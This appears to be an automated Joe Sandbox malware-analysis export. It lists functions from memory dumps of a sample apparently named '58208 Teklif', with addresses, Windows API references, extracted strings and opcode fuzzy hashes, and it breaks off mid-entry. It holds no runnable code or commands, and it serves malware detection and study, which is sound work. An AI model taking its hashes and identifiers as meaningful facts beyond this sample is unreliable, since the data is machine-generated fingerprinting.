Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 0aa12f1eb1e780cf02d2348a75a4b7251deb552b3b2a0230099b82ddddc2d888
Instruction ID: 79ab7f6fb9043a6fdd11253a5668dfb64a662b20a4d9ebb367ffcf68262019e9
Opcode Fuzzy Hash: 0aa12f1eb1e780cf02d2348a75a4b7251deb552b3b2a0230099b82ddddc2d888
Instruction Fuzzy Hash: BD5154B09002098FDB94DFAAD948BAEBFF1FF48300F208059E009AB361D7359948CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01417850 Relevance: 3.2, Strings: 2, Instructions: 688
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$_q, xrefs: 01418374
$_q, xrefs: 01418397

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: $_q$$_q
API String ID: 0-458585787
Opcode ID: 8925f136f02f587157f8762a016d3beafea3bb63e1b121b5a85c76984af2d092
Instruction ID: 1baf0bca26490170811a0055ab53f745515ca059fa9afce034a3d2d346f339f4
Opcode Fuzzy Hash: 8925f136f02f587157f8762a016d3beafea3bb63e1b121b5a85c76984af2d092
Instruction Fuzzy Hash: 0B522B74A00219CFEB15DBA5C860B9EBBB2FF94300F1081AED14A6F3A8DA355D45DF51

Uniqueness

Uniqueness Score: -1.00%

Function 01418849 Relevance: 2.8, Strings: 2, Instructions: 324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'_q, xrefs: 01418871
4'_q, xrefs: 01418897

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: 4'_q$4'_q
API String ID: 0-531570531
Opcode ID: de5644a8ab792e10f692615662bd7e1a07bd24308db048e797e6cc9870e48aa6
Instruction ID: 7510b1e88b0c1c0f6bebe3a8c19a2394b20ed79cd5202d0797eebdc494a20f79
Opcode Fuzzy Hash: de5644a8ab792e10f692615662bd7e1a07bd24308db048e797e6cc9870e48aa6
Instruction Fuzzy Hash: 81B16F747406038FEB159B2DC554B3A3B9AAF85644F15446BE502CF3BAEA34DC82C742

Uniqueness

Uniqueness Score: -1.00%

Function 01415700 Relevance: 2.8, Strings: 2, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hcq, xrefs: 014157EB
Hcq, xrefs: 0141581E

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: Hcq$Hcq
API String ID: 0-4088181183
Opcode ID: da5318491b84dc771b40fb4c7ccdac93dd89daf3b4c680af0c229f811fcdd5ed
Instruction ID: c6899e3639092e7142f4a3ffe8b45f9385d2c298682cd07db70a8c5e56e8fffb
Opcode Fuzzy Hash: da5318491b84dc771b40fb4c7ccdac93dd89daf3b4c680af0c229f811fcdd5ed
Instruction Fuzzy Hash: C991B0317442558FDB159F29C858BAF7BE6BBCA300F14886AE4468F3A9DB349C41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01415C60 Relevance: 2.7, Strings: 2, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,cq, xrefs: 01415D40
,cq, xrefs: 01415D36

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: ,cq$,cq
API String ID: 0-2927840315
Opcode ID: ab6ef39996813b0733ab50e51cf4d9fd182d8c7b3ee44664e7469ae1277b43f9
Instruction ID: 71e0a8e9fa0630cec47c57215fb803cd529b8fa118d5202c1aefe9cac08a8c25
Opcode Fuzzy Hash: ab6ef39996813b0733ab50e51cf4d9fd182d8c7b3ee44664e7469ae1277b43f9
Instruction Fuzzy Hash: 78817E34A002058FDB14DF6DC888AEABBB2BFCA214B55C56AD505DF379D731E842CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06BD9960 Relevance: 2.7, Strings: 2, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(&_q, xrefs: 06BD9A7B
(cq, xrefs: 06BD9B3A

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID: (&_q$(cq
API String ID: 0-1128674267
Opcode ID: ba90b8536123806ed6cd3da64eb0a333183fb8f73b5058b951c1106d879aafed
Instruction ID: 4c0db90b4bd3b02e809660d28ac890c638ae488756aaf3c6df228724e4815d7f
Opcode Fuzzy Hash: ba90b8536123806ed6cd3da64eb0a333183fb8f73b5058b951c1106d879aafed
Instruction Fuzzy Hash: F5716271F002199FDB55EFA9C854AAEBBB6EFC4700F148569E405AB380EF349D06C791

Uniqueness

Uniqueness Score: -1.00%

Function 01413480 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xcq, xrefs: 014134B6
Xcq, xrefs: 0141348D

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: Xcq$Xcq
API String ID: 0-1149048318
Opcode ID: d86612446439250f5a4b553a6df0743bcffed83530474454a72b40953c27e3cc
Instruction ID: a9566fb18a41633fa4870779d8a4f412675bc95a11df951dd90a618df9a1d4bb
Opcode Fuzzy Hash: d86612446439250f5a4b553a6df0743bcffed83530474454a72b40953c27e3cc
Instruction Fuzzy Hash: D331F635B8022587EB1A4D6E959427F66EABBC4260F04443AE906C73ACDBB4CC458695

Uniqueness

Uniqueness Score: -1.00%

Function 01419CA5 Relevance: 1.7, Strings: 1, Instructions: 453COMMON

Download Yara Rule

Strings

(o_q, xrefs: 01419CD8

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: (o_q
API String ID: 0-493409505
Opcode ID: 39b73d4ae6229d5812d4e12852f3a3d5c8b0dba401afe458b6e9bd6128cf94f1
Instruction ID: 8cb6714aa68435094d9adda46a11d4244cddaf32439d520dee78a9bb9a8c6c71
Opcode Fuzzy Hash: 39b73d4ae6229d5812d4e12852f3a3d5c8b0dba401afe458b6e9bd6128cf94f1
Instruction Fuzzy Hash: 4012AE30A01255DFCB15CFA8C694AAEBBF2BF89304F258956E405DB3A9C731EC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 06BFF6F3 Relevance: 1.7, APIs: 1, Instructions: 180COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06BFF862

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3b39a397b9ca744cdef3182195bad4b3b1965380452802c031bd92133791f9c9
Instruction ID: 8725788e7d2f2b8e57b448044ca1bdbb36110467a3a563907e8f867556f4ed5c
Opcode Fuzzy Hash: 3b39a397b9ca744cdef3182195bad4b3b1965380452802c031bd92133791f9c9
Instruction Fuzzy Hash: DD6101B1C10249AFCF11CFA9C980ADEBFB6FF49300F14819AE918AB261D7719955CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01410C8F Relevance: 1.7, Strings: 1, Instructions: 417COMMON

Download Yara Rule

Strings

LR_q, xrefs: 01410E80

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: LR_q
API String ID: 0-2241839734
Opcode ID: f369904e6c874ea3615eeb5d4e845ed6580f09a76979d3723e38a205e0edb569
Instruction ID: 4b6cfef0a3d8c1f1bd713c56ad5518b9a823125794c72b8b21db00b010c54361
Opcode Fuzzy Hash: f369904e6c874ea3615eeb5d4e845ed6580f09a76979d3723e38a205e0edb569
Instruction Fuzzy Hash: 4922ED74A4022ACFCB54EF75E995A9DBBB1FF48300F1086A9E509AB358DB306D85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 01410C9C Relevance: 1.7, Strings: 1, Instructions: 411COMMON

Download Yara Rule

Strings

LR_q, xrefs: 01410E80

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: LR_q
API String ID: 0-2241839734
Opcode ID: 4e31f5ae7aecf2be712dc26959ea966d4acde9449b6a06103f10ebfb1bc32f26
Instruction ID: 8b73f97c58de3cce5bb24291cf6fe5bdf8e401839d486788123447fd18795977
Opcode Fuzzy Hash: 4e31f5ae7aecf2be712dc26959ea966d4acde9449b6a06103f10ebfb1bc32f26
Instruction Fuzzy Hash: 2D22ED74A4022ACFCB54EF75E995A9DBBB1FF48300F1086A9E509AB358DB306D85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 01410CA0 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

LR_q, xrefs: 01410E80

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: LR_q
API String ID: 0-2241839734
Opcode ID: 14cb3156a0cfb85461c18d6bee4dd5c676f1447f234700e7f7f6929c1230ae95
Instruction ID: b4b6f08c3050c119025e4aea4af7327a84d705ce770a25a08ebb814f02f9c6c5
Opcode Fuzzy Hash: 14cb3156a0cfb85461c18d6bee4dd5c676f1447f234700e7f7f6929c1230ae95
Instruction Fuzzy Hash: AE22ED74A4022ACFCB54EF75E995A9DBBB5FF48300F1086A9E509AB358DB306D85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06BFF6BB Relevance: 1.6, APIs: 1, Instructions: 148COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06BFF862

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: c2b831f1be3608f8122ff607c746447bff6ac82fb18fb1c1f4fb14f61b24bd5c
Instruction ID: a18d4299a2b02b727e17f56b74012de79eed16403d0c72fe9398baef82846460
Opcode Fuzzy Hash: c2b831f1be3608f8122ff607c746447bff6ac82fb18fb1c1f4fb14f61b24bd5c
Instruction Fuzzy Hash: 425145B1C153489FDB15CFA9C850AEDBFB5FF49300F24819AE818AB261C7749849CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06BFD84C Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06BFF862

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b26a8cdb7fef12191dc3791af91e4d72525b1b064738fba129fda3476245b764
Instruction ID: 28e4f847453aee6ccdfa147a8cc0e6aa37f209ced5424119bfda16d32c378ee9
Opcode Fuzzy Hash: b26a8cdb7fef12191dc3791af91e4d72525b1b064738fba129fda3476245b764
Instruction Fuzzy Hash: 6851BFB1D10309DFDB54CFAAC884ADEBBB5FF48310F64816AE919AB220D7749845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05A9BFC4 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3789424768.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a90000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 044c59debe28adc61cd6182dfce9ec5abd14f42f621bde9e835de21e69c38d0e
Instruction ID: 9e6460bde93210fff7ae41b6e1f2f4b633cb1de2070badcaf1e9f1f830342a35
Opcode Fuzzy Hash: 044c59debe28adc61cd6182dfce9ec5abd14f42f621bde9e835de21e69c38d0e
Instruction Fuzzy Hash: 86414974908128DBCF08CF99D4D4AEDBBF2BF58314F608159E419AB295CB35A986CF60

Uniqueness

Uniqueness Score: -1.00%

Function 05A9BF64 Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3789424768.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a90000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ab34d161f5c310ef552ce5612eb430fa9138c4c2dcdab6f9e9df8093722e749
Instruction ID: eff2889bf08866b0af7f52ff96fa19ba8c6292cc4ad14652454d9b070419b551
Opcode Fuzzy Hash: 3ab34d161f5c310ef552ce5612eb430fa9138c4c2dcdab6f9e9df8093722e749
Instruction Fuzzy Hash: 7C411474908129DFCB08CF99E0C4AEDBBF2BF48314F248159E415AB291CB35A986CF60

Uniqueness

Uniqueness Score: -1.00%

Function 05A9BE28 Relevance: 1.6, APIs: 1, Instructions: 100libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05A9BE79

Memory Dump Source

Source File: 00000003.00000002.3789424768.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a90000_58208 Teklif.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f2cd866680f8a427e680ec6ad5538ebafe200dbc064c0c3be61bebdb066a7d65
Instruction ID: 326d1765e7b2830a26bd992282e92129c64ff211616c232b78d4dbb3d154cb31
Opcode Fuzzy Hash: f2cd866680f8a427e680ec6ad5538ebafe200dbc064c0c3be61bebdb066a7d65
Instruction Fuzzy Hash: 3B4159B4D042189BDF08CF9AD4C4ADDFBF6BF88314F248159E4046B295C735A986CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06BF4834 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,06BF4D76,?,?,?,?,?), ref: 06BF4E37

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1d8b36e2e84558fd912e5014652c62b5b26ce0ee5410767e8fb71ee85db65ded
Instruction ID: 36189a0bbf3a7e8b9d5901d74b2de3cc4bea6a39af4cd9e64c834488e77dc207
Opcode Fuzzy Hash: 1d8b36e2e84558fd912e5014652c62b5b26ce0ee5410767e8fb71ee85db65ded
Instruction Fuzzy Hash: D721E5B5D102489FDB50CFAAD984ADEBBF4EB48310F14845AE914B3311D374A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06BF4DA9 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,06BF4D76,?,?,?,?,?), ref: 06BF4E37

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d2bcc4d96d64c87cc34040ac7f2e6b5e16f3c42a8e4ba1a6b4f1e969eff68f22
Instruction ID: 817b4249122ea820a413ca46d0846cbc397fd65fd7b5683c9a7a2cb092738775
Opcode Fuzzy Hash: d2bcc4d96d64c87cc34040ac7f2e6b5e16f3c42a8e4ba1a6b4f1e969eff68f22
Instruction Fuzzy Hash: 6821E4B5D00248AFDB10CFAAD984AEEBFF5FB48310F14845AE918A7310D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05A98D94 Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 05A98ED6

Memory Dump Source

Source File: 00000003.00000002.3789424768.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a90000_58208 Teklif.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fa0c1dce200efd3c747a567b79ade55f1fb7c72ae14407024c507454f215ab3a
Instruction ID: e60c645f410c82b28ac7a986451de42ec0be084cfa7e0be022e45bf644a3357e
Opcode Fuzzy Hash: fa0c1dce200efd3c747a567b79ade55f1fb7c72ae14407024c507454f215ab3a
Instruction Fuzzy Hash: 02114274E0112A9FDF08DBA9D894EADBBF5FF89304F14C159E814A7246D738E845CB60

Uniqueness

Uniqueness Score: -1.00%

Function 06BFC148 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06BFD439,00000800,00000000,00000000), ref: 06BFD62A

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e7dc2e98f26bbaa46938303807f614654d5e4e08704fa1f1075be21962ecd110
Instruction ID: b0ba83bce31fe94997b22ea32941356ed19cf56dd74da73ecbe29cdf07a66c18
Opcode Fuzzy Hash: e7dc2e98f26bbaa46938303807f614654d5e4e08704fa1f1075be21962ecd110
Instruction Fuzzy Hash: 3E1103B6C002099FDB10DFAAD844A9EFBF4EB48310F10846AE519B7210C375A549CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06BFD5BB Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06BFD439,00000800,00000000,00000000), ref: 06BFD62A

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ae4835f4432bac1ee06820ab4ce9c28d83ed35cbf87ac992bbbbe65c09bebf29
Instruction ID: a88771590456f10767c6f135a850f8eb2a27288dce5d3d7f69b510e9498110c0
Opcode Fuzzy Hash: ae4835f4432bac1ee06820ab4ce9c28d83ed35cbf87ac992bbbbe65c09bebf29
Instruction Fuzzy Hash: 851114B6C002089FCB10DFAAD444ADEFBF4EF48310F14845EE519A7210C375A549CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06BFC100 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,06BFD184), ref: 06BFD3BE

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d0c89af7e5800a0fef55fb99c1205eb34dd8021f5087f31533a65a572207b708
Instruction ID: 706f83d36aa2af6349f36168aa0a02d7116a52fe7d064ea4a8a0f573cbf7d53e
Opcode Fuzzy Hash: d0c89af7e5800a0fef55fb99c1205eb34dd8021f5087f31533a65a572207b708
Instruction Fuzzy Hash: 601102B6C003498FCB60DF9AD444B9EFBF4EF88210F15845AD619B7210D379A549CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06BFD353 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,06BFD184), ref: 06BFD3BE

Memory Dump Source

Source File: 00000003.00000002.3790247236.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bf0000_58208 Teklif.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2112aa66d76f7787fd929490b7193f7161b3eb23e3ade27cddaad05f01b1cb05
Instruction ID: 0f8c4ca94c7b20b89e7516321aed0dcef1c6895f46027eee3ded5cabd7a1ac0e
Opcode Fuzzy Hash: 2112aa66d76f7787fd929490b7193f7161b3eb23e3ade27cddaad05f01b1cb05
Instruction Fuzzy Hash: 6D1113B6D002498FCB20DF9AD444ADEFBF4EF88310F15845AD919B7210C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0141A258 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

4'_q, xrefs: 0141A2D3

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: 4'_q
API String ID: 0-2033115326
Opcode ID: 11da3395d2cd7e0866b7ba88c81b07b2f65090758b3253500193096b2ec44637
Instruction ID: 321a0c4b16dfc81bae16eabbb534730872d15e833bb28869f8a46034b2b35417
Opcode Fuzzy Hash: 11da3395d2cd7e0866b7ba88c81b07b2f65090758b3253500193096b2ec44637
Instruction Fuzzy Hash: 55417875A402598FCB15DF69C848BAE7BB5BB88310F20006AF906CB3B5CB71DD81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0141FDA8 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

-)1#, xrefs: 0141FDC6

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: -)1#
API String ID: 0-1789991113
Opcode ID: 8551da919e7261af1e7eeeb5dcf664e46ee7e558a6f0854861b734c9386b4957
Instruction ID: 975146f284585fd2875500bbe35ce2a360c77b920f46a79bfa746f46cdd1f2dc
Opcode Fuzzy Hash: 8551da919e7261af1e7eeeb5dcf664e46ee7e558a6f0854861b734c9386b4957
Instruction Fuzzy Hash: B2217331E0030A8BDB14EBA9C1556AEBBB1AB49B14F20441EC511BB369CB719D4ECBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0141A878 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd33d7812cf20ee579cb90a265cb782a9d0cfc416f5e3b3a61f42fae07f3269a
Instruction ID: d88dda3c593467d68479ffefbd69b20e564e004e958b2541d5c3f89777ce2a4e
Opcode Fuzzy Hash: fd33d7812cf20ee579cb90a265cb782a9d0cfc416f5e3b3a61f42fae07f3269a
Instruction Fuzzy Hash: 81F14D75B012548FCB04CF6DC584AAEBBF6BF88310B2A845AE519AB375D731EC81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 014198B8 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67e2ec205a1b55a68436e5e994e8de5ed753209acabceb0f62e4ec5003e66bcb
Instruction ID: 8df12561ef40eb969c7fe8b4721535a256b5dc440de78d8297a0cc2063e84145
Opcode Fuzzy Hash: 67e2ec205a1b55a68436e5e994e8de5ed753209acabceb0f62e4ec5003e66bcb
Instruction Fuzzy Hash: 56D1BB75A00249CFCB15CFA9C894A9EBFF2FF88304F04856AE945AB365D330E955CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01417498 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf75f2f1b05f0c5962e5c56a33dc39caa5145c3a9602013046dbf708c01cec73
Instruction ID: ef23b780331e1d57cc84b92124d63ef02feedb34d34df9482315dd17ed5ca5ef
Opcode Fuzzy Hash: cf75f2f1b05f0c5962e5c56a33dc39caa5145c3a9602013046dbf708c01cec73
Instruction Fuzzy Hash: 0D716C307402418FDB15DF2DC888A6E7BE5AF49352F1948AAE505CB3B6DB70DC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0141D3C2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a295c6d3613f470cd13a8f49acfe3cf97339a6005998bd4c07c20dc3aa4a1118
Instruction ID: c6075b3d0d47fad78f82b5a80aa735f7bcbeadebbf7ab8bf393092decd0aa178
Opcode Fuzzy Hash: a295c6d3613f470cd13a8f49acfe3cf97339a6005998bd4c07c20dc3aa4a1118
Instruction Fuzzy Hash: 3C51BF708E57469FD7182F26A9AD17E7BB0FB4F723B856D04F08E918188B7560A5CB10

Uniqueness

Uniqueness Score: -1.00%

Function 06BD15F3 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 187501609e8ab4b5141aac8364d84e1159bb6791e85f65f46ee8683afee9499e
Instruction ID: 0657cbe0541ff652288b3b4e8c4d4d73647bd8299af3b3156b43c3531ac24c35
Opcode Fuzzy Hash: 187501609e8ab4b5141aac8364d84e1159bb6791e85f65f46ee8683afee9499e
Instruction Fuzzy Hash: 5E81B374E412299FDB65DF29D954BEDBBB2BF89300F1081EAE809A7254DB305E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0141D3D0 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
